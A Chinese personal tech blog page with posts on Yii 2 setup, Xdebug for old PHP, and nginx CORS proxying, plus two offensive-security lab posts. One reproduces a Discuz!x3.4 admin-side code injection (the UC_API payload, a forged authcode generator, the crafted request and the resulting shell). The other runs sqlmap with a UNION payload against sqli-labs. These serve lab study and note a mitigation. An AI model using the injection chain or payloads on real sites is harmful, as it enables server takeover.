顯示具有 寶塔 標籤的文章。 顯示所有文章
顯示具有 寶塔 標籤的文章。 顯示所有文章

2022年8月9日 星期二

Yii 2心得

環境

Windows 10
PHP 8
nginx
MySQL 8.0.18
yiisoft/yii2 2.0.45
dmstr/yii2-adminlte-asset 2.6.2
mdmsoft/yii2-admin 2.12


安裝 Yii 2 Advanced Project Template



使用composer 安裝

$ composer2 create-project --prefer-dist yiisoft/yii2-app-advanced yii-application


準備

初始化

在 yii-application/ 目錄中執行
$ php init
Yii Application Initialization Tool v1.0

Which environment do you want the application to be initialized in?

  [0] Development
  [1] Production

  Your choice [0-1, or "q" to quit] 0


  Initialize the application under 'Development' environment? [yes|no] yes

  Start initialization ...

   generate backend/config/codeception-local.php
   generate backend/config/main-local.php
   generate backend/config/params-local.php
   generate backend/config/test-local.php
   generate backend/web/index-test.php
   generate backend/web/index.php
   generate backend/web/robots.txt
   generate common/config/codeception-local.php
   generate common/config/main-local.php
   generate common/config/params-local.php
   generate common/config/test-local.php
   generate console/config/main-local.php
   generate console/config/params-local.php
   generate console/config/test-local.php
   generate frontend/config/codeception-local.php
   generate frontend/config/main-local.php
   generate frontend/config/params-local.php
   generate frontend/config/test-local.php
   generate frontend/web/index-test.php
   generate frontend/web/index.php
   generate frontend/web/robots.txt
   generate yii
   generate yii_test
   generate yii_test.bat
   generate cookie validation key in backend/config/main-local.php
   generate cookie validation key in common/config/codeception-local.php
   generate cookie validation key in frontend/config/main-local.php
      chmod 0777 backend/runtime
      chmod 0777 backend/web/assets
      chmod 0777 console/runtime
      chmod 0777 frontend/runtime
      chmod 0777 frontend/web/assets
      chmod 0755 yii
      chmod 0755 yii_test

  ... initialization completed.

配置DB

common/config/main-local.php 

migration

$ php yii migrate
Yii Migration Tool (based on Yii v2.0.45)

Creating migration history table "migration"...Done.
Total 2 new migrations to be applied:
        m130524_201442_init
        m190124_110200_add_verification_token_column_to_user_table

Apply the above migrations? (yes|no) [no]:yes
*** applying m130524_201442_init
    > create table {{%user}} ... done (time: 0.064s)
*** applied m130524_201442_init (time: 0.097s)

*** applying m190124_110200_add_verification_token_column_to_user_table
    > add column verification_token string NULL DEFAULT NULL to table {{%user}} ... done (time: 0.040s)
*** applied m190124_110200_add_verification_token_column_to_user_table (time: 0.064s)


2 migrations were applied.

Migrated up successfully.

nginx

前端目錄 root /path/to/yii-application/frontend/web/ 
後端目錄 root /path/to/yii-application/backend/web/

偽靜態

location / {
    # Redirect everything that isn't a real file to index.php
    try_files $uri $uri/ /index.php$is_args$args;
}

避免存取assets/目錄下的php文件

# deny accessing php files for the /assets directory
location ~ ^/assets/.*\.php$ {
    deny all;
}

hosts


寶塔open_basedir報錯

Warning: require(): open_basedir restriction in effect. File(C:\path\yii-application\vendor\autoload.php) is not within the allowed path(s): (C:/path/yii-application/backend/web/;C:/Windows/Temp/;C:/Temp/;C:/BtSoft/temp/session/) in C:\path\yii-application\backend\web\index.php on line 6

Warning: require(C:\path\yii-application\vendor\autoload.php): Failed to open stream: Operation not permitted in C:\path\yii-application\backend\web\index.php on line 6

Fatal error: Uncaught Error: Failed opening required 'C:\path\yii-application\backend\web/../../vendor/autoload.php' (include_path='.;C:\php\pear') in C:\path\yii-application\backend\web\index.php:6 Stack trace: #0 {main} thrown in C:\path\yii-application\backend\web\index.php on line 6

寶塔面板 => 網站 => 設置 => 網站目錄 => 取消勾選 防跨站攻击(open_basedir)

測試用戶

backend/tests/_data/login_data.php 中有測試的user資料

return [
    [
        'username' => 'erau',
        'auth_key' => 'tUu1qHcde0diwUol3xeI-18MuHkkprQI',
        // password_0
        'password_hash' => '$2y$13$nJ1WDlBaGcbCdbNC5.5l4.sgy.OMEKCqtDQOdQ2OWpgiKRWYyzzne',
        'password_reset_token' => 'RkD_Jw0_8HEedzLk7MM-ZKEFfYR7VbMr_1392559490',
        'created_at' => '1392559490',
        'updated_at' => '1392559490',
        'email' => 'sfriesen@jenkins.info',
    ],
];
把他換成SQL

INSERT INTO `user` ( `username`, `auth_key`, `password_hash`, `password_reset_token`, `email`, `created_at`, `updated_at` )
VALUES
    (
        'erau',
        'tUu1qHcde0diwUol3xeI-18MuHkkprQI',
        '$2y$13$nJ1WDlBaGcbCdbNC5.5l4.sgy.OMEKCqtDQOdQ2OWpgiKRWYyzzne',
        'RkD_Jw0_8HEedzLk7MM-ZKEFfYR7VbMr_1392559490',
        'sfriesen@jenkins.info',
    1392559490,
    1392559490);
s
然後就能用用戶 erau (密碼password_0)登錄了,
或是登錄時斷點在 User->validatePassword() 時打印 Yii::$app->security->generatePasswordHash("password") 設置你要的密碼

安裝AdminLTE



$ composer2 require dmstr/yii2-adminlte-asset "^2.1"


複製 vendor/dmstr/yii2-adminlte-asset/example-views/yiisoft/yii2-app/backend/views/  

不要使用bootstrap4



因為 AdminLTE 2.4.13 使用 bootstrap 3 ,但是 yii2-app-advanced 2.0.43 以後的 backend/assets/AppAsset.php 改用了 bootstrap4 ,會造成樣式衝突
所以改回bootstrap 3

diff --git a/backend/assets/AppAsset.php b/backend/assets/AppAsset.php
index a93f5c3..ee9d874 100644
--- a/backend/assets/AppAsset.php
+++ b/backend/assets/AppAsset.php
@@ -18,6 +18,7 @@ class AppAsset extends AssetBundle
     ];
     public $depends = [
         'yii\web\YiiAsset',
-        'yii\bootstrap4\BootstrapAsset',
+        // 'yii\bootstrap4\BootstrapAsset',
+        'yii\bootstrap\BootstrapAsset',
     ];
 }
s

安裝yii2-admin

http://static.kancloud.cn/curder/yii/247758  Yii2中使用yii2-admin搭建RBAC权限控制
http://static.kancloud.cn/curder/yii/247759  Yii2项目后台整合yii2-admin模块


$ composer2 require mdmsoft/yii2-admin "~2.0"

Migration

新增menu菜單表 

$ php yii migrate --migrationPath=@mdm/admin/migrations
Yii Migration Tool (based on Yii v2.0.45)

Total 2 new migrations to be applied:
        m140602_111327_create_menu_table
        m160312_050000_create_user

Apply the above migrations? (yes|no) [no]:yes
*** applying m140602_111327_create_menu_table
    > create table {{%menu}} ... done (time: 0.197s)
*** applied m140602_111327_create_menu_table (time: 0.414s)

*** applying m160312_050000_create_user
*** applied m160312_050000_create_user (time: 0.037s)

2 migrations were applied.

Migrated up successfully.

新增 rbac 相關表(auth_rule、auth_item、auth_item_child、auth_assignment)

$ php yii migrate --migrationPath=@yii/rbac/migrations
Yii Migration Tool (based on Yii v2.0.45)

Total 4 new migrations to be applied:
        m140506_102106_rbac_init
        m170907_052038_rbac_add_index_on_auth_assignment_user_id
        m180523_151638_rbac_updates_indexes_without_prefix
        m200409_110543_rbac_update_mssql_trigger

Apply the above migrations? (yes|no) [no]:yes
*** applying m140506_102106_rbac_init
    > create table {{%auth_rule}} ... done (time: 0.058s)
    > create table {{%auth_item}} ... done (time: 0.059s)
    > create index idx-auth_item-type on {{%auth_item}} (type) ... done (time: 0.039s)
    > create table {{%auth_item_child}} ... done (time: 0.060s)
    > create table {{%auth_assignment}} ... done (time: 0.042s)
*** applied m140506_102106_rbac_init (time: 0.445s)

*** applying m170907_052038_rbac_add_index_on_auth_assignment_user_id
    > create index auth_assignment_user_id_idx on {{%auth_assignment}} (user_id) ... done (time: 0.037s)
*** applied m170907_052038_rbac_add_index_on_auth_assignment_user_id (time: 0.091s)

*** applying m180523_151638_rbac_updates_indexes_without_prefix
    > drop index auth_assignment_user_id_idx on {{%auth_assignment}} ... done (time: 0.018s)
    > create index {{%idx-auth_assignment-user_id}} on {{%auth_assignment}} (user_id) ... done (time: 0.021s)
    > drop index idx-auth_item-type on {{%auth_item}} ... done (time: 0.046s)
    > create index {{%idx-auth_item-type}} on {{%auth_item}} (type) ... done (time: 0.034s)
*** applied m180523_151638_rbac_updates_indexes_without_prefix (time: 0.185s)

*** applying m200409_110543_rbac_update_mssql_trigger
*** applied m200409_110543_rbac_update_mssql_trigger (time: 0.049s)


4 migrations were applied.

Migrated up successfully.


配置


diff --git a/backend/config/main.php b/backend/config/main.php
index 6e2fe57..1483c5c 100644
--- a/backend/config/main.php
+++ b/backend/config/main.php
@@ -11,7 +11,12 @@
     'basePath' => dirname(__DIR__),
     'controllerNamespace' => 'backend\controllers',
     'bootstrap' => ['log'],
-    'modules' => [],
+    'modules' => [
+        'admin' => [
+            'class' => 'mdm\admin\Module',
+            // 'layout' => 'left-menu',//yii2-admin的导航菜单
+        ]
+    ],
     'components' => [
         'request' => [
             'csrfParam' => '_csrf-backend',
@@ -37,14 +42,34 @@
         'errorHandler' => [
             'errorAction' => 'site/error',
         ],
-        /*
+        // 開啟enablePrettyUrl
         'urlManager' => [
             'enablePrettyUrl' => true,
             'showScriptName' => false,
             'rules' => [
             ],
         ],
-        */
+
+        'authManager' => [
+            // 'class' => 'yii\rbac\PhpManager', // or use 'yii\rbac\DbManager'
+            'class' => 'yii\rbac\DbManager', // 使用DB做RBAC
+        ],
     ],
     'params' => $params,
+    'as access' => [
+        'class' => 'mdm\admin\components\AccessControl',
+        'allowActions' => [
+            'site/*',
+            'admin/*', // 臨時開啟admin 路由
+            'gii/*',  // 臨時開啟gii
+            'debug/*',  // debug bar
+            // '*',  // 臨時開啟所有權限
+            'some-controller/some-action',
+            // The actions listed here will be allowed to everyone including guests.
+            // So, 'admin/*' should not appear here in the production, of course.
+            // But in the earlier stages of your development, you may probably want to
+            // add a lot of actions here until you finally completed setting up rbac,
+            // otherwise you may not even take a first step.
+        ]
+    ],
 ];

s
開啟enablePrettyUrl前的訪問地址是: /index.php?r=admin  

使用

Users(用戶)


Routes(路由)



把左邊可用的路由(會自動抓)放到右邊去,右邊的路由才會在permissionrole時出現

Permissions(權限)


分配路由

創建permission後,可以在view裡面對該permission設置多個route

Roles(角色)


分配路由和權限

創建role後,可以在view裡面對該role設置多個route、permission和role

Assignments(分配)


分配角色和權限

根據現有的user,可以在view裡面對該user設置多個role和permission

無權限訪問顯示403

如果沒對該用戶分配有delete權限的role和delete的permission 



Rules(規則)

要和代碼配合,可以不用

Menus(菜單)


設置父菜單


獲取有權限的菜單


diff --git a/backend/views/layouts/left.php b/backend/views/layouts/left.php
index 53b2cb3..f2b64a1 100644
--- a/backend/views/layouts/left.php
+++ b/backend/views/layouts/left.php
@@ -1,3 +1,8 @@
+<?php
+
+use mdm\admin\components\MenuHelper;
+
+?>
 <aside class="main-sidebar">
 
     <section class="sidebar">
@@ -25,42 +30,57 @@
             </div>
         </form>
         <!-- /.search form -->
+        <?php
+        $items = MenuHelper::getAssignedMenu(Yii::$app->user->id);
+        ?>
 
         <?= dmstr\widgets\Menu::widget(
             [
                 'options' => ['class' => 'sidebar-menu tree', 'data-widget'=> 'tree'],
+                'items' => $items,
             ]
         ) ?>
s

設置父菜單js錯誤

Uncaught TypeError: elem.getClientRects is not a function

因為 jQuery 是v3.6.0 (vendor/bower-asset/jquery/dist/jquery.js)而 jQuery UI 是 v1.11.4 (vendor/mdmsoft/yii2-admin/assets/jquery-ui.js)

升級jQuery UI(未使用)

https://github.com/mdmsoft/yii2-admin/issues/386  jquery-ui.js need to update !!!
https://github.com/mdmsoft/yii2-admin/pull/363  Fix menu. Update jquery-ui.


加入 jquery-migrate

https://stackoverflow.com/a/38314852  jQuery UI error - f.getClientRects is not a function
加入 jquery-migrate-3.0.0.js 讓jquery 3+ 兼容低版本jquery ui

diff --git a/backend/assets/AppAsset.php b/backend/assets/AppAsset.php
index ee9d874..ac1f620 100644
--- a/backend/assets/AppAsset.php
+++ b/backend/assets/AppAsset.php
@@ -15,6 +15,7 @@ class AppAsset extends AssetBundle
         'css/site.css',
     ];
     public $js = [
+        'js/jquery-migrate-3.0.0.js',
     ];
     public $depends = [
         'yii\web\YiiAsset',
diff --git a/backend/web/js/jquery-migrate-3.0.0.js b/backend/web/js/jquery-migrate-3.0.0.js
new file mode 100644
index 0000000..350b799
--- /dev/null
+++ b/backend/web/js/jquery-migrate-3.0.0.js
@@ -0,0 +1,540 @@
+/*!
+ * jQuery Migrate - v3.0.0 - 2016-06-09
...
s

Gii

https://www.yiichina.com/tutorial/695  gii的命令行用法 [ 2.0 版本 ]


先建表,以水果表為例:

CREATE TABLE `fruits` (
  `id` int(11) NOT NULL AUTO_INCREMENT COMMENT 'ID',
  `name` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT '名字',
  `created_at` datetime NOT NULL COMMENT '創建時間',
  `updated_at` datetime NOT NULL ON UPDATE CURRENT_TIMESTAMP COMMENT '修改時間',
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
s

網頁生成CRUD代碼

Table Name 可以下拉用選的,選完後 Model Class Name 會自動填入


命令行生成CRUD代碼

為了和前面區分,這裡model和controller用單數的Fruit
$ php yii gii/model --ns=common\\models --tableName=fruits --modelClass=Fruit
Running 'Model Generator'...

The following files will be generated:
        [new] C:\path\yii-application\common\models\Fruit.php

Ready to generate the selected files? (yes|no) [yes]:

Files were generated successfully!
Generating code using template "C:\path\yii-application\vendor\yiisoft\yii2-gii\src\generators\model/default"...
 generated C:\path\yii-application\common\models\Fruit.php
done!

--ns=common\\models - 指定Model的路徑
--tableName=fruits - 表名用複數
--modelClass=Fruit - Model名用單數

$ php yii gii/crud --modelClass=common\\models\\Fruit --controllerClass=backend\\controllers\\FruitController --viewPath=@backend/views/fruit --searchModelClass=common\\models\\FruitSearch
Running 'CRUD Generator'...

The following files will be generated:
        [new] C:\path\yii-application\backend\controllers\FruitController.php
        [new] C:\path\yii-application\common\models\FruitSearch.php
        [new] C:\path\yii-application\backend\views\fruit\_form.php
        [new] C:\path\yii-application\backend\views\fruit\_search.php
        [new] C:\path\yii-application\backend\views\fruit\create.php
        [new] C:\path\yii-application\backend\views\fruit\index.php
        [new] C:\path\yii-application\backend\views\fruit\update.php
        [new] C:\path\yii-application\backend\views\fruit\view.php

Ready to generate the selected files? (yes|no) [yes]:

Files were generated successfully!
Generating code using template "C:\path\yii-application\vendor\yiisoft\yii2-gii\src\generators\crud/default"...
 generated C:\path\yii-application\backend\controllers\FruitController.php
 generated C:\path\yii-application\common\models\FruitSearch.php
 generated C:\path\yii-application\backend\views\fruit\_form.php
 generated C:\path\yii-application\backend\views\fruit\_search.php
 generated C:\path\yii-application\backend\views\fruit\create.php
 generated C:\path\yii-application\backend\views\fruit\index.php
 generated C:\path\yii-application\backend\views\fruit\update.php
 generated C:\path\yii-application\backend\views\fruit\view.php
done!

--modelClass=common\\models\\Fruit - 指定所使用的model路徑
--controllerClass=backend\\controllers\\FruitController - 設置控制器路徑
--viewPath=@backend/views/fruit - 設置視圖路徑,fruit用單數
--searchModelClass=common\\models\\FruitSearch= 設定搜索模型

如何知道命令行有哪些參數可用

如 searchModelClass 
可在開發者工具裡的表單查看




即可有水果表(fruits)的CRUD

debugbar

內建debugbar,laravel則需要另外安裝
路由




CVE



https://packagist.org/packages/yiisoft/yii2/advisories?version=4339826  yiisoft/yii2 Security Advisories for 2.0.37
2.0.37之前的版本有 遠程代碼執行(remote code execution)漏洞

總結

和laravel相比,官方更新沒有那麼快搭建後台系統比較麻煩(dmstr/yii2-adminlte-asset + mdmsoft/yii2-admin),不像laravel-admin直接搞定,網上的文檔也比較舊


其他

update

https://stackoverflow.com/a/38692364  Yii2: update field with query builder

\Yii::$app->db->createCommand()
    ->update('fruits', ['status' => 1], 'id > 1')
    ->execute();
=> UPDATE `fruits` SET `status`=1 WHERE id > 1










2022年5月11日 星期三

低版本PHP的XDebug

PHP 5.6

Windows

php_xdebug-2.5.5-5.6-vc11-nts-x86_64.dll

Windows 10 + 寶塔php 5.6 + 【PHP 5.6 VC11 (64 bit)】 + PHPStorm 2021.2.2

C:\BtSoft\php\56\php.ini
[XDebug]
zend_extension="C:\BtSoft\php\56\ext\php_xdebug-2.5.5-5.6-vc11-nts-x86_64.dll"
xdebug.remote_enable=1
xdebug.remote_host=127.0.0.1
xdebug.remote_log="C:\BtSoft\php\56\xdebug_log"

可斷點

Linux

CentOS 7.9 + 寶塔php 5.6 + XDebug 2.5.5 + PHPStorm 2021.2.2

/www/server/php/56/etc/php.ini
[xdebug]
zend_extension=/www/server/php/56/lib/php/extensions/no-debug-non-zts-20131226/xdebug.so
xdebug.remote_enable=1
xdebug.remote_host=192.168.1.x
xdebug.remote_log=/tmp/xdebug_log

可斷點

PHP 5.5

Windows

php_xdebug-2.5.5-5.5-vc11-nts-x86_64.dll

Windows 10 + 寶塔php 5.5 + 【PHP 5.5 VC11 (64 bit)】 + PHPStorm 2021.2.2

C:\BtSoft\php\55\php.ini
[XDebug]
zend_extension="C:\BtSoft\php\55\ext\php_xdebug-2.5.5-5.5-vc11-nts-x86_64.dll"
xdebug.remote_enable=1
xdebug.remote_host=127.0.0.1

可斷點

Linux

CentOS 7.9 + 寶塔php 5.5 + XDebug 2.5.5 + PHPStorm 2021.2.2

/www/server/php/55/etc/php.ini
[xdebug]
zend_extension="/www/server/php/55/lib/php/extensions/no-debug-non-zts-20121212/xdebug.so"
xdebug.remote_enable=1
xdebug.remote_host=192.168.1.x

可斷點

安裝xdebug時不要在用過裝PHP 5.6的 xdebug-2.5.5/ 目錄下編譯安裝,重新解壓縮新的 xdebug-2.5.5/ 目錄安裝。否則重啟PHP 5.5時會報錯:Xdebug requires Zend Engine API version 220131226.
The Zend Engine API version 220121212 which is installed, is outdated.

PHP 5.4

Windows

php_xdebug-2.4.1-5.4-vc9-nts-x86_64.dll

Windows 10 + 寶塔php 5.4 + 【PHP 5.4 VC9 (64 bit)】 + PHPStorm 2021.2.2
phpinfo() 吃不到XDebug擴展

不能斷點


php_xdebug-2.4.1-5.4-vc9-nts.dll

Windows 10 + 寶塔php 5.4 + 【PHP 5.4 VC9 (32 bit)】 + PHPStorm 2021.2.2
phpinfo() 吃得到XDebug擴展,但是xdebug_log 報錯
<- eval -i 10 -- aXNzZXQoJF9TRVJWRVJbJ1BIUF9JREVfQ09ORklHJ10p
-> <response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="eval" transaction_id="10"><error code="5"><message><![CDATA[command is not available]]></message></error></response>

不能斷點

Linux

CentOS 7.9 + 寶塔php 5.4 + XDebug 2.4.1 + PHPStorm 2021.2.2

/www/server/php/54/etc/php.ini
[xdebug]
zend_extension="/www/server/php/54/lib/php/extensions/no-debug-non-zts-20100525/xdebug.so"
xdebug.remote_enable=1
xdebug.remote_host=192.168.1.x

可斷點

PHP 5.4 在Windows 10 斷點不了,只能在CentOS上斷。
結論:不要接手Windows的PHP 5.4以下專案























2022年1月20日 星期四

跨域CORS心得

環境

寶塔
nginx 1.21.1
三個項目:
test.win.bt(主項目)
api.win.bt(API接口)
api2.win.bt(laravel接口)


test.win.bt/api/ 代理 api.win.bt

https://stackoverflow.com/a/16158558  nginx proxy_pass 404 error, don't understand why

test.win.bt nginx配置文件

server
{
    server_name test.win.bt;

    location /api/ {
        proxy_pass http://api.win.bt/;
    }
    ...
    #PHP-INFO-START
    include php/80.conf;
    #PHP-INFO-END
    ...
}


http://test.win.bt/api/

打開(index.php),可以正常顯示json內容

但是 http://test.win.bt/api/index.php (任何.php訪問)卻是404

https://stackoverflow.com/a/65867308  Nginx Reverse Proxy returns 404 for PHP
原因是 include php/80.conf; 在C:\BtSoft\nginx\conf\vhost\test.win.bt.conf 和 C:\BtSoft\nginx\conf\vhost\api.win.bt.conf 重複被引用了,把 test.win.bt.conf 的 include php/80.conf; 註解掉即可。(註解api.win.bt.conf 的無效)
但是這樣解就造成 test.win.bt 下面無法跑php


(註解 include php/80.conf;  前)靜態json文件 http://test.win.bt/api/test.json  可以訪問

但是如果是ajax 用post請求會返回405
原因:
https://cloud.tencent.com/developer/article/1680056  Nginx的405 not allowed错误解决

Access-Control-Allow-Origin

加在 nginx

https://ubiq.co/tech-blog/enable-cors-nginx/  How to Enable CORS in NGINX
server
{
    server_name api.win.bt;
    add_header Access-Control-Allow-Origin *;
    ...
}


add_header 對500無效

https://serverfault.com/a/431580  Nginx services fails for cross-domain requests if the service returns error
所以如果 http://api.win.bt/json.php 返回了500錯誤,即使在nginx加了 add_header Access-Control-Allow-Origin *;  。瀏覽器還是會報CSRF錯誤




PHP手動返回500錯誤

https://stackoverflow.com/a/1555877  How can I get php to return 500 upon encountering a fatal exception?
header("HTTP/1.1 500 Internal Server Error");

加在php中

https://stackoverflow.com/a/7564919  how to bypass Access-Control-Allow-Origin?
不指定域名
header('Access-Control-Allow-Origin: *');
指定域名
header('Access-Control-Allow-Origin: http://test.win.bt');

test.win.bt/api2/ 代理 api2.win.bt

server
{
    server_name test.win.bt;

    location /api2/ {
        proxy_pass http://api2.win.bt/;
    }
    ...
}

http://test.win.bt/api2/test

routes/web.php
Route::any('/test', function () {
    return [1,2,3];
});


但是 laravel的web路由會檢查CSRF token(VerifyCsrfToken),所以報419錯誤

所以改用api的路由

http://test.win.bt/api2/api/test

routes/api.php
Route::any('/test', function (Request $request) {
    return [1,2,3];
});

即可正常請求

因為laravel的偽靜態把index.php 幹掉了,所以不存在 http://test.win.bt/api/*.php 的404問題。當然 http://test.win.bt/api2/api/*.php 還是會404的
location / {  
try_files $uri $uri/ /index.php$is_args$query_string;  
}








2021年10月5日 星期二

Discuz!x3.4 後台修改UCenter配置getshell


靶場搭建

寶塔 + php 5.6 + mysql 5.7

# git clone https://github.com/sv3nbeast/discuz-x3.4-RCE.git discuz.x3.4.rce.bt
# cd discuz.x3.4.rce.bt
# unzip Discuz_SC_UTF8.zip
寶塔網站目錄設為 upload/ ,訪問站點地址後按照流程安裝(略)

滲透

登錄後台 => 站點 => UCenter 設置
UCenter 通信密钥: 123456
UCenter 访问地址: http://discuz.x3.4.rce.bt/upload/uc_server');phpinfo();//
提交
這步完成後會修改 upload/config/config_ucenter.php ,但是 UC_API 的'會跳脫
diff --git a/upload/config/config_ucenter.php b/upload/config/config_ucenter.php
index 6df46ac..7fb0562 100644
--- a/upload/config/config_ucenter.php
+++ b/upload/config/config_ucenter.php
@@ -12,9 +12,8 @@
 define('UC_DBCONNECT', 0);

 define('UC_CHARSET', 'utf-8');
-define('UC_KEY', 'b2w03075v067ve2d2aEdl9Aco6lbD4Z4T02dA0v2lfj0L6gdodj0l1P6QbX1l8ta');
-define('UC_API', 'http://discuz.x3.4.rce.bt/uc_server');
+define('UC_KEY', '123456');
+define('UC_API', 'http://discuz.x3.4.rce.bt/upload/uc_server\');phpinfo();//');
 define('UC_APPID', '1');
 define('UC_IP', '');
 define('UC_PPP', 20);



生成code參數的值,code.php

$uc_key="123456";//
$time = time() + 720000;
$str = "time=".$time."&action=updateapps";
$code = authcode($str,"ENCODE",$uc_key);
$code = str_replace('+','%2b',$code);
$code = str_replace('/','%2f',$code);
echo $code;

function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
  $ckey_length = 4;
  $key = md5($key != '' ? $key : '123456');
  $keya = md5(substr($key, 0, 16));
  $keyb = md5(substr($key, 16, 16));
  $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

  $cryptkey = $keya.md5($keya.$keyc);
  $key_length = strlen($cryptkey);

  $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
  $string_length = strlen($string);

  $result = '';
  $box = range(0, 255);

  $rndkey = array();
  for($i = 0; $i <= 255; $i++) {
    $rndkey[$i] = ord($cryptkey[$i % $key_length]);
  }

  for($j = $i = 0; $i < 256; $i++) {
    $j = ($j + $box[$i] + $rndkey[$i]) % 256;
    $tmp = $box[$i];
    $box[$i] = $box[$j];
    $box[$j] = $tmp;
  }

  for($a = $j = $i = 0; $i < $string_length; $i++) {
    $a = ($a + 1) % 256;
    $j = ($j + $box[$a]) % 256;
    $tmp = $box[$a];
    $box[$a] = $box[$j];
    $box[$j] = $tmp;
    $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
  }

  if($operation == 'DECODE') {
    if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
      return substr($result, 26);
    } else {
      return '';
    }
  } else {
    return $keyc.str_replace('=', '', base64_encode($result));
  }
}

# php code.php
1bd61yMP9oRuwAfLBlYNlBPBkzl1jkGTnpSq3vUZyXhcAdE%2b2yy4cB35w4%2fKMYnKEAfQ1mnlRsR2phjoI9k

使用burp suite,攔截帶code參數GET請求發送
請求數據包
GET /api/uc.php?code=1bd61yMP9oRuwAfLBlYNlBPBkzl1jkGTnpSq3vUZyXhcAdE%2b2yy4cB35w4%2fKMYnKEAfQ1mnlRsR2phjoI9k HTTP/1.1
Host: discuz.x3.4.rce.bt
Cookie: ooyE_2132_saltkey=rlpi42qL; ooyE_2132_lastvisit=1633423183; ooyE_2132_sid=iKnzwk; ooyE_2132_lastact=1633426854%09uc.php%09
Sec-Ch-Ua: ";Not A Brand";v="99", "Chromium";v="94"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://discuz.x3.4.rce.bt/uc_server</item>
</root>

UC_API的XML需攔截後手動加入,經過測試這個包要送2次,第二次才生效。
burp suite轉發請求後頁面返回1


會修改 upload/config/config_ucenter.php 和 upload/uc_client/data/cache/apps.php 
diff --git a/upload/config/config_ucenter.php b/upload/config/config_ucenter.php
index 6df46ac..7ceb6e0 100644
--- a/upload/config/config_ucenter.php
+++ b/upload/config/config_ucenter.php
@@ -12,9 +12,8 @@
 define('UC_DBCONNECT', 0);

 define('UC_CHARSET', 'utf-8');
-define('UC_KEY', 'b2w03075v067ve2d2aEdl9Aco6lbD4Z4T02dA0v2lfj0L6gdodj0l1P6QbX1l8ta');
-define('UC_API', 'http://discuz.x3.4.rce.bt/uc_server');
+define('UC_KEY', '123456');
+define('UC_API', 'http://discuz.x3.4.rce.bt/uc_server');phpinfo();//'); // 成功取消跳脫,完成注入
 define('UC_APPID', '1');
 define('UC_IP', '');
 define('UC_PPP', 20);
-?>
diff --git a/upload/uc_client/data/cache/apps.php b/upload/uc_client/data/cache/apps.php
index 7948d40..54e6afa 100644
--- a/upload/uc_client/data/cache/apps.php
+++ b/upload/uc_client/data/cache/apps.php
@@ -1,22 +1,3 @@
 <?php
 $_CACHE['apps'] = array (
-  1 =>
-  array (
-    'appid' => '1',
-    'type' => 'DISCUZX',
-    'name' => 'Discuz! Board',
-    'url' => 'http://discuz.x3.4.rce.bt',
-    'ip' => '',
-    'viewprourl' => '',
-    'apifilename' => 'uc.php',
-    'charset' => '',
-    'dbcharset' => '',
-    'synlogin' => '1',
-    'recvnote' => '1',
-    'extra' => false,
-    'tagtemplates' => '',
-    'allowips' => '',
-  ),
 );
-
-?>

此時 http://discuz.x3.4.rce.bt/config/config_ucenter.php 就是我們的shell地址,至此getshell結束

從第一步得知這個getshell需要登錄後台修改UCenter配置,所以Discuz!x3.4的後台需要做IP訪問限制避免此漏洞利用

如果要重新復現次漏洞,# git reset --hard 後記得 upload/config/config_ucenter.php 和 upload/uc_client/data/cache/apps.php 權限要改成www可寫入,否則後台表單會有bug









2021年9月30日 星期四

sqlmap使用心得

前言

在 從sqli-labs學習SQL注入(Less1-Less6) 的系列中,展示了手動注入,這篇文章將使用sqlmap注入

安裝

安裝python

我的windows 10 電腦已經裝過了(Python 3.8.6),這裡略過

下載sqlmap

$ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
然後以下的操作都在 sqlmap-dev 資料夾下操作

sqli-labs

Less-1(基於GET的注入)

聯合查詢注入

檢查注入點

$ python sqlmap.py -u "http://sqlilabs.bt/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=U -v 3
...
對於剩餘的測試,您想要包括所有針對 "MySQL" 擴展提供的級別(1)和風險(1)值的測試嗎? [Y/n] 輸入"Y"
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
...
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
...
GET參數'id'是弱點。你想要繼續測試其他的(如果有)?
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]  N 
發現id是聯合查詢注入(UNION query)的弱點
sqlmap identified the following injection point(s) with a total of 29 HTTP(s) requests:
---
Parameter: id (GET)
    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-7535' UNION ALL SELECT NULL,CONCAT(0x71766b6271,0x644d6a4547546f724e4f6a5943474779796379665674464b4a496f76655865696472594b54466848,0x7171627871),NULL-- -
    Vector:  UNION ALL SELECT NULL,[QUERY],NULL-- -
---
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.0
可以查出使用的是nginx和大概的MySQL版本(我的環境是MySQL 5.6)

--technique=TECH - SQL注入技術測試(默認B布爾、E報錯、U聯合查詢、S、T延時)
--dbms=DBMS  - 強制後端的DBMS為此值
--random-agent - 使用隨機選定的HTTP User Agent Header
